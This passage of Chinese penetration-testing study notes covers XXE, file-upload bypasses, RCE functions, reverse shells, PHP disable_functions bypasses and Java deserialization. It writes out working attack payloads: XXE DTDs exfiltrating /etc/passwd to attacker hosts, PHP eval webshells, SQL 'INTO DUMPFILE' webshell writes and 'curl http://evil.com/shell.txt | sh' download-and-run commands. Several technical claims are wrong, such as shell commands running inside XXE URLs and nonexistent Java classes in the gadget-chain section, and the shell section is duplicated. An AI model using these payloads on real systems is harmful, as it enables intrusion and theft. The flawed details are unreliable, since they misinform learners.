    2. 发送请求:让服务器去访问内网 IP 的端口
    3. 观察响应:如果服务器返回了“连接被拒绝”等信息,说明端口是关闭的。如果返回了“连接超时”或成功连接,则说明端口可能是开放的

4. 盲 XXE(Blind XXE)

如果服务器没有将 XML 解析结果回显到前端,攻击者就无法直接看到文件内容,这时就需要利用带外(Out-of-Band)通信来获取信息

  • 利用原理:攻击者利用外部实体向自己的服务器发送请求,并在 URL 中携带需要读取的文件内容
  • 利用步骤
    1. 构造外部实体:攻击者在自己的服务器上搭建一个 HTTP 服务来监听请求

      • 例如:<!ENTITY % file SYSTEM "file:///etc/passwd">
      • <!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
    2. 远程引用:在主 XML 中引用攻击者的 DTD 文件

      • <!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">
      • 当服务器解析这个 DTD 时,就会将 /etc/passwd 文件的内容发送到攻击者的服务器上

XXE 盲注思路

1. 基础的带外请求(OOB)

这是 XXE 盲注最基本的利用方式。我们首先要确认服务器是否存在 XXE 漏洞,即使没有回显

  • 攻击步骤:

    1. 准备攻击服务器: 搭建一个 Web 服务器(例如使用 Python 的 SimpleHTTPServer)或利用DNSlog平台

    2. 构造恶意 XML 实体:

      1
      2
      3
      4
      5
      6
      <?xml version="1.0"?>
      <!DOCTYPE a [
      <!ENTITY % p1 SYSTEM "http://your-evil-server.com/test">
      %p1;
      ]>
      <test></test>
    3. 发送请求: 将上述 XML 作为请求体发送到目标服务器

    4. 确认存在漏洞: 如果你的服务器收到了来自目标 IP 的 GET /test 请求,就说明服务器存在 XXE 漏洞

2. 利用带外请求获取文件内容

确认漏洞存在后,下一步就是尝试读取服务器上的文件

  • 攻击步骤:

    1. 构造恶意 DTD 文件: 在你的攻击服务器上,创建一个 DTD 文件(例如 evil.dtd),内容如下:

      1
      2
      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % send SYSTEM "http://your-evil-server.com/?data=%file;">
    2. 构造主 XML 请求:

      1
      2
      3
      4
      5
      6
      7
      <?xml version="1.0"?>
      <!DOCTYPE a [
      <!ENTITY % p1 SYSTEM "http://your-evil-server.com/evil.dtd">
      %p1;
      %send;
      ]>
      <test></test>
    3. 发送请求:

      • 当服务器解析主 XML 文件时,它会首先请求 evil.dtd
      • 解析 evil.dtd 后,它会读取 file:///etc/passwd 的内容,并将其作为 %file 实体的值
      • 最后,它会请求 %send 实体,将文件内容作为 GET 参数发送到你的服务器
    4. 接收数据: 你会在你的服务器日志中看到类似 GET /?data=root:x:0:0:root:/root:/bin/bash... 的请求,从而获取 /etc/passwd 的内容

3. 利用参数实体获取错误信息

当无法通过 HTTP GET 请求直接传输数据时,可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤

  • 攻击步骤:

    1. 构造恶意 DTD 文件: 在你的服务器上创建 DTD 文件,内容如下:

      1
      2
      3
      <!ENTITY % p1 "
      <!ENTITY &#x25; oob SYSTEM 'http://your-evil-server.com/?data=%file;'>
      ">
    2. 构造主 XML 请求:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <?xml version="1.0"?>
      <!DOCTYPE root [
      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
      %dtd;
      %p1;
      %oob;
      ]>
      <root></root>
    3. 发送请求:

      • 服务器解析主 XML 时,会首先加载 evil.dtd
      • 然后,它会尝试解析 %p1,其中包含 %oob 的定义
      • 由于 %oob 实体引用了 %file,而 %file 是一个文件内容,当 XML 解析器尝试将其解析为 URL 时,会因为语法错误而失败,并抛出错误信息
    • 这种方法的关键在于,某些 XML 解析器会把完整的错误信息(包括外部实体的内容)带回给客户端,或者将其写入服务器日志。 虽然不能直接从响应中看到,但可以利用这个特性进行注入

4. 利用 DNSlog 获取数据

当目标服务器无法出网,或者 HTTP 协议被严格过滤时,DNSlog 是一个非常好的选择

  • 攻击步骤:

    1. 准备 DNSlog 平台: 获取一个 DNSlog 域名,例如 hacker.dnslog.cn

    2. 构造 XML 请求:

      1
      2
      3
      4
      5
      6
      <?xml version="1.0"?>
      <!DOCTYPE a [
      <!ENTITY % p1 SYSTEM "http://`whoami`.hacker.dnslog.cn">
      %p1;
      ]>
      <test></test>
    3. 发送请求:

      • 服务器解析 XML 时,会尝试解析 whoami 命令的输出,并将其作为子域名,向 hacker.dnslog.cn 发起 DNS 查询
    4. 查看结果: 你会在 DNSlog 平台的日志中看到类似 www-data.hacker.dnslog.cn 的查询记录,从而获取到 whoami 命令的输出


    PCDATA 和 CDATA 的区别

PCDATA

PCDATA 是 可解析字符数据。在XML或HTML中,当解析器遇到 PCDATA 时,它会解析其中的特殊字符。这意味着,如果你的数据中包含 <>& 等字符,解析器会将其视为标签或实体的开始

例如,在XML中:

1
2
3
<note>
<body>这是一个 &lt;b&gt;粗体&lt;/b&gt; 文本。</body>
</note>

这里的 < 会被解析成 <> 会被解析成 >。如果你在XML元素中直接写入 <script> 标签,解析器会把它当作一个新的节点来处理,而不是纯粹的文本内容。在渗透测试中,如果一个 Web 应用将用户输入作为 PCDATA 处理,但没有进行充分的过滤,攻击者可以注入恶意代码,如 XSS (跨站脚本) 攻击

CDATA

CDATA 是 不可解析字符数据。与 PCDATA 相反,解析器会将其中的所有内容都视为纯文本,不会对 <>& 等特殊字符进行解析。CDATA 块通常用 <![CDATA[ ... ]]> 语法来定义

例如,在XML中:

1
2
3
4
5
6
7
<note>
<script_code><![CDATA[
if (x < 10 && y > 5) {
alert('Hello!');
}
]]></script_code>
</note>

在这个例子中,CDATA 块内的所有内容,包括 <>&,都会被原封不动地当作字符串来处理。即使代码中包含了类似HTML 标签的字符,解析器也不会将它们当作标签来处理。这使得 CDATA 在需要嵌入包含特殊字符的文本(如代码片段、JavaScript 等)时非常有用

特性 PCDATA (可解析字符数据) CDATA (不可解析字符数据)
解析方式 解析特殊字符(<、>、& 等) 将所有内容视为纯文本,不解析特殊字符
主要用途 包含普通的、可解析的文本内容 包含代码、脚本或其他含有特殊字符的文本
攻击风险 高。如果对用户输入处理不当,容易导致 XSS、XML 实体注入等漏洞。 低。由于其内容被视为纯文本,它能有效防止特殊字符被解释为标签或代码。
攻击场景 当应用程序将用户输入直接放入PCDATA区域,而没有进行充分的转义时,攻击者可以注入 等代码。 除非应用程序对 CDATA 块本身进行了处理或二次解析,否则在 CDATA 内部直接进行注入攻击是无效的。

13- 文件上传漏洞

文件上传漏洞绕过方法

1. 客户端 JS 绕过

这是最简单也是最常见的绕过方法。许多开发者为了方便,只在前端(浏览器)使用 JavaScript 脚本来检查文件类型,如 .jpg.png.gif

  • 绕过方法:
    • 禁用 JavaScript: 在浏览器设置中直接禁用 JS,或者使用抓包工具(如 Burp Suite)拦截请求,修改文件名和内容后再发送
    • 抓包修改文件名: 正常上传一个合法的图片文件(1.jpg),然后使用 Burp Suite 拦截数据包,将文件名修改为 1.php。由于服务器后端没有进行二次验证,就会直接上传成功

2. MIME 类型绕过

服务器有时会通过检查 HTTP 请求头中的 Content-Type 字段来验证文件类型。例如,一个图片的 Content-Type 通常是 image/jpegimage/png

  • 绕过方法:
    • 修改 Content-Type 攻击者可以上传一个 webshell.php 文件,同时在抓包工具中将 Content-Type 字段从 application/octet-stream(默认值)修改为 image/jpeg。如果后端只依赖这个字段进行判断,恶意文件就会上传成功

3. 文件头内容检测绕过(魔术字节)

一些更安全的系统会检查文件的“魔术字节”(Magic Bytes),也就是文件头部的一串特定字节,用以识别文件类型。例如,JPEG 图片文件开头通常是 FF D8 FF E0

  • 绕过方法:
    • “图片马”: 攻击者可以将恶意代码嵌入到图片文件中,制作成一个“图片马”
    • 制作方法:
      1. 准备一张正常的图片(1.jpg)和一个包含恶意代码的文本文件(shell.php),内容为 <?php eval($_POST['cmd']);?>
      2. 使用命令将两者合并:copy 1.jpg/b + shell.php/a webshell.jpg
    • 利用方式:
      1. 上传 webshell.jpg 文件。如果服务器检查了文件头,但没有检查文件内容,就会上传成功。
      2. 然后,攻击者需要找到一种方法来解析这个图片文件,使其作为 PHP 代码执行。这通常需要结合 文件包含漏洞(LFI) 来实现,例如 include('webshell.jpg'),或者一些服务器配置错误(如 Apache 的 .htaccess 配置)

4. 文件名、路径绕过

服务器通常会有一份黑名单或白名单来限制可上传的文件扩展名。黑名单会阻止 .php, .asp, .jsp 等脚本文件,而白名单只允许 .jpg, .png, .gif 等图片文件

a. 黑名单绕过

  • 大小写绕过: shell.Phpshell.pHP
  • 文件后缀名加空格或点: 在 Windows IIS 服务器上,文件名末尾的空格或点会被自动去除
    • shell.php (空格)
    • shell.php.(点)
  • 双重扩展名: 某些服务器只检查最后一个扩展名
    • shell.php.jpg:上传后,如果服务器处理不当,可能会被当做 shell.php 来执行。
  • 特殊字符绕过: 利用一些特殊字符,如 shell.php%00.jpg(00 截断)
    • 00截断: 在 PHP 5.3 之前,PHP 的 move_uploaded_file() 函数在处理文件名时,遇到 0x00 字节会截断后面的内容。攻击者可以在文件名中注入 %00,如 shell.php%00.jpg,上传时,服务器只检查 .jpg,但实际保存的文件名是 shell.php

b. 白名单绕过

  • 服务器解析漏洞:
    • Apache: 如果服务器配置了 AddHandler php5-script .jpg,那么所有 .jpg 文件都会被当作 PHP 脚本来解析
    • IIS 6.0: 目录解析漏洞,例如 /xx.asp/shell.jpg。服务器会把 shell.jpg 当作 ASP 脚本执行
    • IIS 7.0/7.5: web.config 配置文件解析漏洞。攻击者可以上传一个恶意的 web.config 文件来改变目录的解析规则
  • 竞争条件(Race Condition):
    • 一些服务器在处理文件上传时,会先将文件临时保存,然后进行安全检查,最后再重命名或移动到目标目录
    • 利用方法: 攻击者可以利用这个时间差,在文件被检查并删除之前,迅速访问该文件
    • 步骤:
      1. 上传一个包含恶意代码的脚本文件(如 shell.php),其中恶意代码会创建一个新的 Webshell 文件
      2. 在文件上传成功后,但在服务器删除它之前,通过一个脚本循环快速访问该文件
      3. 恶意脚本被执行,并创建一个新的、无法被删除的 Webshell 文件

14- RCE 系列

代码执行、命令执行的函数有哪些

PHP

在 PHP 中,有很多函数可以执行系统命令或代码。它们是 PHP 漏洞利用中最常见的攻击入口

命令执行函数

  • exec(): 执行一个外部程序,不返回输出结果,通常需要使用参数获取

    1
    2
    exec('whoami', $output);
    print_r($output);
  • passthru(): 直接将命令的输出传递到浏览器

    1
    passthru('ls -la');
  • shell_exec(): 通过 shell 执行命令,并将整个输出结果作为字符串返回

    1
    2
    $output = shell_exec('id');
    echo $output;
  • system(): 执行外部程序并显示输出

    1
    system('netstat -an');
  • popen()proc_open(): 都可以打开一个进程文件指针,允许对进程进行双向 I/O 操作

    1
    $handle = popen('ls', 'r');
  • pcntl_exec(): 在 PHP CLI 环境中,用新的程序替换当前进程

代码执行函数

  • eval(): 将字符串作为 PHP 代码来执行。这是最常见的代码执行漏洞函数

    1
    2
    $code = $_GET['code'];
    eval($code);
  • assert(): 在 PHP 7.2 之前,assert() 函数可以执行字符串参数

    1
    assert($_POST['pass']);
  • create_function(): 用于创建一个匿名函数

    1
    2
    $func = create_function('', 'return ' . $_GET['pass'] . ';');
    $func();
  • call_user_func()call_user_func_array(): 调用一个用户函数,如果参数是用户可控的,可以用来执行任意函数

  • array_map(): 将回调函数作用到给定数组的每个元素上

  • unserialize(): 反序列化函数,如果序列化数据中包含一个恶意对象,可以导致对象注入,从而触发魔术方法(如 __destruct()),最终实现代码执行

Python

Python 的 Web 应用中也经常出现类似的问题

命令执行函数

  • os.system(): 执行 shell 命令

  • os.popen(): 执行 shell 命令,并返回一个文件对象

  • subprocess 模块: 这是更安全、更现代的模块,但如果参数处理不当,同样会造成命令注入

    1
    2
    3
    import subprocess
    cmd = 'ls ' + user_input
    subprocess.call(cmd, shell=True) # 当 shell=True 时,可能存在命令注入

代码执行函数

  • eval(): 将字符串作为表达式来执行

    1
    result = eval('1 + 1')
  • exec(): 执行动态代码

  • pickle.loads(): 反序列化模块,如果反序列化恶意数据,可能导致代码执行

Java

在 Java 中,直接执行系统命令的函数相对较少,但依然存在

命令执行函数

  • Runtime.getRuntime().exec(): 在单独的进程中执行指定的字符串命令

    1
    Runtime.getRuntime().exec("ls -la");
  • java.lang.ProcessBuilder: 创建一个操作系统进程

    1
    new ProcessBuilder("ls", "-la").start();

代码执行

  • ScriptEngine:Java 脚本引擎,可以执行 JavaScript 等脚本语言
  • 反序列化:Java 的反序列化漏洞通常是由于 readObject() 方法处理不当,结合 Commons-Collections 等库中的链式调用,最终实现命令执行

正向 Shell 和反向 Shell 的区别

正向 Shell (Bind Shell)

工作原理

  1. 攻击者在目标主机上执行恶意代码,该代码会开启一个端口并监听,等待连接
  2. 攻击者随后从自己的机器上,向目标主机的这个监听端口发起连接
  3. 一旦连接建立,攻击者就可以通过这个连接发送命令,并在自己的终端上接收目标主机的输出
1
2
A[攻击者] --主动发起连接--> B[目标主机: 监听端口]
B --命令输出--> A

优点

  • 简单:一旦端口在目标主机上打开,攻击者就可以直接连接。

缺点

  • 防火墙限制:这是正向 Shell 最大的问题。许多企业和家庭网络都部署了防火墙,会阻止来自外部的入站连接。目标主机的端口通常是关闭的,或者被严格限制
  • IP 地址不确定:如果目标主机的 IP 是动态的,攻击者很难持续连接

反向 Shell (Reverse Shell)

工作原理

  1. 攻击者首先在自己的机器上,开启一个端口并监听,等待连接
  2. 攻击者在目标主机上执行恶意代码,该代码会主动连接攻击者的监听端口
  3. 一旦连接建立,攻击者就可以通过这个连接向目标主机发送命令,并接收命令输出
1
2
3
4
A[攻击者: 监听端口] --等待连接--> B[目标主机]
B --主动发起连接--> A
A --命令--> B
B --命令输出--> A

优点

  • 绕过防火墙:这是反向 Shell 最大的优势。防火墙通常只阻止入站连接,但允许内部主机向外部发起出站连接。这使得反向 Shell 能够轻松穿透大多数防火墙
  • IP 地址不确定:即使目标主机的 IP 是动态的,只要它能主动连接到攻击者的固定 IP 地址,连接就可以成功建立

缺点

  • 复杂性:攻击者需要有一个公网 IP 或能够通过端口转发,才能在自己的机器上成功监听

正向 Shell 和反向 Shell 的区别

正向 Shell (Bind Shell)

工作原理

  1. 攻击者在目标主机上执行恶意代码,该代码会开启一个端口并监听,等待连接
  2. 攻击者随后从自己的机器上,向目标主机的这个监听端口发起连接
  3. 一旦连接建立,攻击者就可以通过这个连接发送命令,并在自己的终端上接收目标主机的输出
1
2
A[攻击者] --主动发起连接--> B[目标主机: 监听端口]
B --命令输出--> A

优点

  • 简单:一旦端口在目标主机上打开,攻击者就可以直接连接。

缺点

  • 防火墙限制:这是正向 Shell 最大的问题。许多企业和家庭网络都部署了防火墙,会阻止来自外部的入站连接。目标主机的端口通常是关闭的,或者被严格限制
  • IP 地址不确定:如果目标主机的 IP 是动态的,攻击者很难持续连接

反向 Shell (Reverse Shell)

工作原理

  1. 攻击者首先在自己的机器上,开启一个端口并监听,等待连接
  2. 攻击者在目标主机上执行恶意代码,该代码会主动连接攻击者的监听端口
  3. 一旦连接建立,攻击者就可以通过这个连接向目标主机发送命令,并接收命令输出
1
2
3
4
A[攻击者: 监听端口] --等待连接--> B[目标主机]
B --主动发起连接--> A
A --命令--> B
B --命令输出--> A

优点

  • 绕过防火墙:这是反向 Shell 最大的优势。防火墙通常只阻止入站连接,但允许内部主机向外部发起出站连接。这使得反向 Shell 能够轻松穿透大多数防火墙
  • IP 地址不确定:即使目标主机的 IP 是动态的,只要它能主动连接到攻击者的固定 IP 地址,连接就可以成功建立

缺点

  • 复杂性:攻击者需要有一个公网 IP 或能够通过端口转发,才能在自己的机器上成功监听

PHP disable_functions() 绕过方法

1. LD_PRELOAD 环境变量劫持

原理: LD_PRELOAD 是一个环境变量,它允许用户在程序运行前指定一个或多个动态链接库(.so文件)。这些库中的函数会优先于系统默认的库被加载。我们可以利用这一点,编写一个恶意的动态链接库,其中包含一个与常用系统函数(如 getuidgeteuid 等)同名的恶意函数

绕过步骤:

  1. 编写一个 C 语言恶意代码,利用 __attribute__((constructor)) 在库加载时执行系统命令,并将其编译成一个 .so 文件
  2. 在 PHP 中,通过 putenv() 函数设置 LD_PRELOAD 环境变量,指向我们恶意的 .so 文件
  3. 触发一个可以调用系统函数的 PHP 函数,例如 mail()exec()。当这个函数被调用时,LD_PRELOAD 就会生效,我们的恶意代码会被执行

这种方法非常有效,但前提是 putenv() 或类似的函数没有被禁用,并且目标服务器支持动态链接

2. ImageMagick 命令执行漏洞

漏洞名称: CVE-2016-3714 (ImageTragick) 原理: ImageMagick 是一个用于创建、编辑和转换图像的流行开源软件。该漏洞允许攻击者通过处理一个特制的图像文件(例如 SVG、MVG 格式)来执行任意系统命令

绕过步骤:

  1. 制作一个恶意的 SVG 或 MVG 格式图像文件,其中嵌入了命令执行 Payload。例如:"push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/)'"url() 后面可以接 file://http:// 等协议,通过 pipe 触发命令
  2. 在 PHP 中,如果使用了 Imagick 扩展来处理上传的图像文件,当调用 readImage()pingImage() 等函数时,就会触发漏洞,执行恶意 Payload

这种方法主要针对使用了特定软件版本且存在漏洞的目标,属于典型的“Nday”漏洞利用

3. Windows 系统组件 COM 绕过

原理: 在 Windows 环境下,COM (Component Object Model) 是一个重要的技术。PHP 的 COM 扩展可以用来创建和调用 COM 组件。其中,WScript.Shell 这个组件可以用来执行系统命令

绕过步骤:

  1. 在 PHP 代码中,通过 new COM('WScript.shell') 创建一个 WScript.Shell 对象
  2. 调用这个对象的 run()exec() 方法来执行命令。例如:$shell = new COM('WScript.shell'); $shell->Run('cmd.exe /c "whoami"');
  3. 这种方法依赖于 PHP 的 COM 扩展是否启用,以及目标服务器是否是 Windows 系统

4. PHP 7.4 FFI 绕过

原理: FFI (Foreign Function Interface) 是 PHP 7.4 引入的一个扩展,允许 PHP 代码直接调用 C 语言的函数和数据结构,而无需编写额外的 C 语言扩展。这大大增强了 PHP 的能力,同时也带来了安全风险

绕过步骤:

  1. 使用 FFI::cdef() 函数加载 libc 库,并定义 systemexec 函数
  2. 然后就可以像调用 PHP 函数一样调用 C 语言的 system 函数来执行命令
  3. 例如:$ffi = FFI::cdef('int system(const char *command);', 'libc.so.6'); $ffi->system('whoami');
  4. 这种方法非常强大,但前提是 FFI 扩展已启用且未被禁用

5. Bash 破壳漏洞

漏洞名称: CVE-2014-6271 (Shellshock) 原理: 这是一个在 Bash 4.3 及更早版本中的高危漏洞。它允许攻击者通过环境变量,向 Bash 注入并执行任意代码

绕过步骤:

  1. 在 PHP 中,使用 putenv() 设置一个特殊的恶意环境变量
  2. 例如:putenv("test=() { :;}; echo 'VULNERABLE'");
  3. 随后,调用任何可以调用 Bash 的函数,例如 mail()exec()。当 Bash 被调用时,它会解析环境变量,触发漏洞,执行恶意 Payload

6. imap_open() 绕过

漏洞名称: CVE-2018-19518 原理: 在 PHP 5.x 和 7.x 版本中,imap_open() 函数存在一个漏洞。当处理一个特定的 IMAP 协议 URL 时,它会调用 rshssh 命令来连接远程服务器,从而导致命令执行

绕过步骤:

  1. 在 PHP 中调用 imap_open() 函数,并传入一个恶意构造的 IMAP URL
  2. 例如:imap_open('-oProxyCommand=whoami', 'a', 'a');
  3. -oProxyCommand 是一个 SSH 选项,它允许在连接前执行命令。imap_open() 会调用 rshssh,从而触发这个命令执行
  4. 这种方法依赖于目标服务器上 imap 扩展是否启用

7. pcntl 插件绕过

原理: pcntl 是 PHP 的一个进程控制扩展,它提供了一系列与进程相关的函数,例如 pcntl_exec()

绕过步骤:

  1. pcntl_exec() 函数可以用来在当前进程中执行一个指定的程序
  2. 例如:pcntl_exec('/bin/sh', array('-c', 'whoami'));
  3. pcntl_exec() 会直接替换当前 PHP 进程,而不会像 system() 那样创建一个新的子进程。这种方法非常隐蔽,且通常不被 disable_functions 列表所限制

PHP 的 %00 截断的原理

当 PHP 脚本在调用某些文件操作函数(如 include()require()file_get_contents() 等)时,底层会调用 C 语言的库函数。在 C 语言中,字符串是以**空字节(null byte)**作为结束符的,即十六进制的 0x00。当 C 语言函数读取到 0x00 时,就会认为字符串已经结束

而 PHP 脚本在处理用户输入时,并不会像 C 语言那样将 %00 解析为空字节,它会将其当作普通的字符串。但是,当这个字符串被传入底层 C 语言函数进行文件操作时,C 语言会截断这个字符串,只处理 %00 之前的部分

假设服务器上有一个 PHP 脚本,其代码如下:

1
2
3
4
<?php
$file = $_GET['file'];
include($file . ".php");
?>

这段代码的本意是让用户通过 file 参数指定一个文件名,然后脚本会在文件名后面自动加上 .php 后缀,再包含这个文件

现在,如果攻击者想要利用这个漏洞来包含一个图片文件 shell.jpg(其中包含恶意 PHP 代码),他可以构造一个带有 %00 截断的 URL:

1
http://example.com/index.php?file=shell.jpg%00

当 PHP 脚本接收到这个 URL 时:

  1. PHP 层
    • $file 的值是 shell.jpg%00
    • $file . ".php" 拼接后的字符串是 shell.jpg%00.php
  2. C 语言底层
    • include() 函数将 shell.jpg%00.php 这个字符串传递给底层的 C 语言文件操作函数时,C 语言会把 %00 识别为空字节(\0
    • 根据 C 语言的字符串处理规则,它会认为字符串在 shell.jpg 处就已经结束了
    • 最终,操作系统实际打开的文件名是 shell.jpg,而不是 shell.jpg.php

这样一来,攻击者就成功绕过了 .php 后缀的限制,实现了对 shell.jpg 的文件包含,从而执行了图片中的恶意代码


站库分离怎么拿 Shell

1. SQL 注入结合文件上传或文件写入漏洞

即使无法直接写入 webshell,SQL 注入仍然可以用于读取或修改数据库中的数据。如果应用程序存在文件上传漏洞,攻击者可以利用 SQL 注入漏洞修改数据库中的某些配置,例如文件上传路径、文件后缀白名单等

渗透思路:

  • 利用SQL注入读取网站的配置文件,获取文件上传路径
  • 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 .php
  • 结合文件上传漏洞,上传精心构造的 webshell

2. 利用数据库的写权限进行命令执行

在某些非严格配置的环境中,数据库用户可能拥有写入文件系统的权限。攻击者可以尝试通过数据库的 LOAD_FILE()SELECT ... INTO DUMPFILE 等函数,将恶意代码写入到 Web 服务器的可写目录中

渗透思路:

  • 读取配置文件: 利用 SQL 注入读取 Web 服务器上的 phpinfo 或网站配置文件,寻找可写的目录路径
  • 写入webshell: 尝试使用SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/upload/shell.php'webshell 代码写入到Web服务器的 upload 目录
  • 注意: 这种方法需要数据库用户具有 file_priv 权限,并且数据库的secure_file_priv参数没有限制。在站库分离架构下,这种配置是不推荐的,但仍有可能存在

3. 利用 Web 服务器自身的漏洞

这是最直接有效的方法。在站库分离架构中,数据库服务器通常难以直接入侵,但 Web 服务器本身可能存在**远程命令执行(RCE)文件包含(LFI/RFI)**等高危漏洞

渗透思路:

  • 远程命令执行(RCE): 如果 Web 服务器存在 RCE 漏洞,攻击者可以直接执行系统命令,例如curl http://evil.com/shell.txt | sh,下载并执行恶意脚本,从而获取反弹shell或写入webshell
  • 文件包含(LFI/RFI): 利用 LFI/RFI 漏洞,可以读取敏感文件或包含远程服务器上的恶意文件。例如,攻击者可以利用 file_get_contents('http://evil.com/shell.txt') 将远程 webshell 文件包含到 Web 服务器,从而执行恶意代码

4. 通过数据库的 UDF 函数提权

如果攻击者在数据库上拥有足够高的权限(例如root),并且数据库服务器允许动态加载库文件,他们可以上传自定义的**UDF(用户自定义函数)**库文件,并在数据库服务器上执行系统命令

渗透思路:

  • SQL注入提权: 利用 SQL 注入获取数据库 root 权限
  • 上传UDF文件: 通过 load_file()into dumpfile 等方法,将恶意 UDF 库文件(例如lib_mysqludf_sys.so)上传到数据库服务器的插件目录
  • 创建自定义函数: 在数据库中创建新的函数,例如 sys_eval(),该函数能够执行系统命令
  • 执行命令: 调用 sys_eval() 函数,执行系统命令,例如 select sys_eval('curl http://evil.com/shell.txt | sh')
  • 注意: 这种方法主要用于在数据库服务器上获取 shell,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器

15- 反序列化漏洞

CC1、CC6 区别

Commons Collections 1 (CC1) 利用链

CC1 是最经典、最广为人知的 Commons Collections 反序列化利用链。它利用了 InvokerTransformer 这个转换器来反射调用任意方法

利用链核心原理

CC1 利用链的核心思想是通过调用链,最终在反序列化过程中触发 TemplatesImpl 类的 newTransformer 方法,从而执行任意命令

  1. InvokerTransformer:这是核心组件。它的 transform() 方法能够通过反射调用任意对象的任意方法。攻击者可以利用它来调用 Runtime.getRuntime().exec()
  2. InstantiateTransformer:这个转换器用于实例化一个对象,其 transform() 方法会调用构造函数。在利用链中,它常用来实例化 InvokerTransformer 对象
  3. LazyMap:这是一个延迟加载的 Map,它的 get() 方法会在键不存在时调用一个预设的转换器(Transformer)。攻击者可以将 InvokerTransformer 作为这个转换器,当对一个不存在的键进行 get() 操作时,就会触发 InvokerTransformertransform() 方法
  4. AnnotationInvocationHandlerBadAttributeValueExpException:CC1 利用链通常需要一个入口点,来触发 LazyMapget() 方法。在旧版本的 JDK 中,AnnotationInvocationHandlerreadObject() 方法会在反序列化时自动调用其内部的 Proxy 对象的 invoke() 方法,从而间接触发 LazyMapget()。对于新版本的 JDK,由于对 AnnotationInvocationHandler 进行了限制,攻击者转而利用 BadAttributeValueExpExceptionreadObject() 方法

Commons Collections 6 (CC6) 利用链

CC6 旨在解决 CC1 在较新版本的库和 JDK 中失效的问题。它抛弃了 CC1 中常用的 InvokerTransformer,转而利用 TiedMapEntryLinkedSet 等新的类来构造利用链

利用链核心原理

CC6 的核心思想是利用 TiedMapEntry 在反序列化时触发 Mapget() 方法,最终同样达到命令执行的目的

  1. TiedMapEntry:这是 CC6 利用链的核心。它的 toString() 方法在调用时会触发其内部 Mapget() 方法
  2. AbstractMap$TansformMapDecorator:这是一个装饰器,它装饰了一个 Map,并用一个 Transformer 来处理其键值
  3. TransformedMap:当向这个 Map 添加元素时,其 put() 方法会调用一个预设的 Transformer
  4. LinkedSet:在 CC6 的利用中,攻击者通常会利用 LinkedSetequals() 方法,该方法会遍历集合中的元素并调用它们的 equals()。通过精心构造 LinkedSet,可以使其内部的 TiedMapEntry 实例的 toString() 方法被调用
  5. InvokerTransformer (再次出现):尽管 CC6 旨在避开 InvokerTransformer,但在某些变体中,它仍然可以作为最终的命令执行器。不同的是,CC6 利用链的触发点不再是 CC1 中的 LazyMap
特性 Commons Collections 1 (CC1) Commons Collections 6 (CC6)
核心触发器 LazyMap 的 get() 方法 TiedMapEntry 的 toString() 方法
主要攻击类 InvokerTransformer, LazyMap, AnnotationInvocationHandler TiedMapEntry, LinkedSet, TransformedMap
核心思想 通过 LazyMap 间接调用 InvokerTransformer 通过 TiedMapEntry 的 toString() 调用 Map 的 get()
适用范围 较老的 Commons Collections 库版本,以及旧版 JDK 较新的 Commons Collections 库版本,解决了 CC1 在新版本中的问题
链条复杂性 相对简单,逻辑直接 相对复杂,涉及更多的类和间接调用

讲讲 IIOP 和 T3 反序列化原理

1. IIOP (Internet Inter-Orb Protocol) 原理

IIOPOMG CORBA(Common Object Request Broker Architecture)规范的一部分,用于在不同平台、不同编程语言之间实现分布式对象的通信。Java 的 RMI-IIOP 是一个实现,它允许 RMI 对象通过 IIOP 协议进行通信。

IIOP 工作原理

IIOP 的核心是一个**通用的远程过程调用(RPC)**协议,它的目标是让远程对象调用看起来像本地调用一样简单

  1. 对象序列化:当客户端调用远程对象的方法时,方法名和参数会被序列化成二进制数据
  2. 网络传输:这些数据通过 TCP/IP 传输到服务器
  3. 对象反序列化:服务器接收到数据后,会将其反序列化成 Java 对象,并在远程对象上执行相应的方法

这个过程依赖于通用互操作性。IIOP 协议本身不限制传输的数据类型,任何实现了 java.io.Serializable 接口的对象都可以通过 IIOP 传输

IIOP 反序列化漏洞原理

IIOP 反序列化漏洞的原理与RMI 反序列化非常相似,因为它也基于 Java 的序列化机制

  • 漏洞触发点:IIOP 服务器(如 WebLogic)在处理客户端发送的请求时,会自动对请求体中的对象进行反序列化
  • 攻击链:攻击者可以构造一个恶意的 IIOP 请求,其请求体中包含一个恶意的序列化对象,这个对象中嵌入了 Gadget Chain(如 Apache Commons Collectionsysoserial 生成的 Payload)
  • 远程代码执行(RCE):当服务器反序列化这个恶意对象时,就会触发 Gadget Chain,最终执行系统命令,从而实现 RCE

2. T3 反序列化原理

T3Oracle WebLogic Server 独有的一个网络协议。它是 WebLogic 专用的、基于 TCP/IP 的二进制协议,用于 WebLogic 服务器、客户端、集群之间的通信。T3 协议在 WebLogic 的 RMI 实现中被广泛使用,其设计目标是为了优化性能和集群通信

T3 工作原理

T3 协议的本质是在 Java 序列化之上,增加了自己的消息头和协议规范。它定义了一系列消息类型,如HELLOCLUSTERAUTHENTICATE 等。每个消息体都是一个 Java 序列化对象

  • T3 消息头:T3 协议有自己的消息头,包含版本信息、长度等
  • Java 序列化对象:消息头之后是 Java 序列化的对象数据

T3 反序列化漏洞原理

T3 反序列化漏洞是 WebLogic RCE 漏洞的经典类型,其原理与 IIOP 类似,但更具针对性

  • 漏洞触发点:攻击者发现 WebLogic T3 协议在处理某些特定消息时,没有对传入的 Java 序列化对象进行严格的验证和过滤。特别是当客户端发起一个合法的 T3 请求(如 HELLO 消息)后,服务端会接受一个后续的序列化对象
  • 攻击链:攻击者可以向 WebLogic 的 T3 端口(通常是 7001)发送一个恶意的 T3 消息。这个消息体中,包含一个精心构造的序列化对象(如 ysoserial 生成的 Payload)
  • 远程代码执行(RCE):当 WebLogic 服务器反序列化这个对象时,就会触发恶意代码,例如利用 CommonsCollectionsSpring 或其他依赖库中的 Gadget Chain,从而在服务器上执行命令
对比项 IIOP 反序列化 T3 反序列化
协议类型 标准协议(CORBA 规范) WebLogic 专用协议
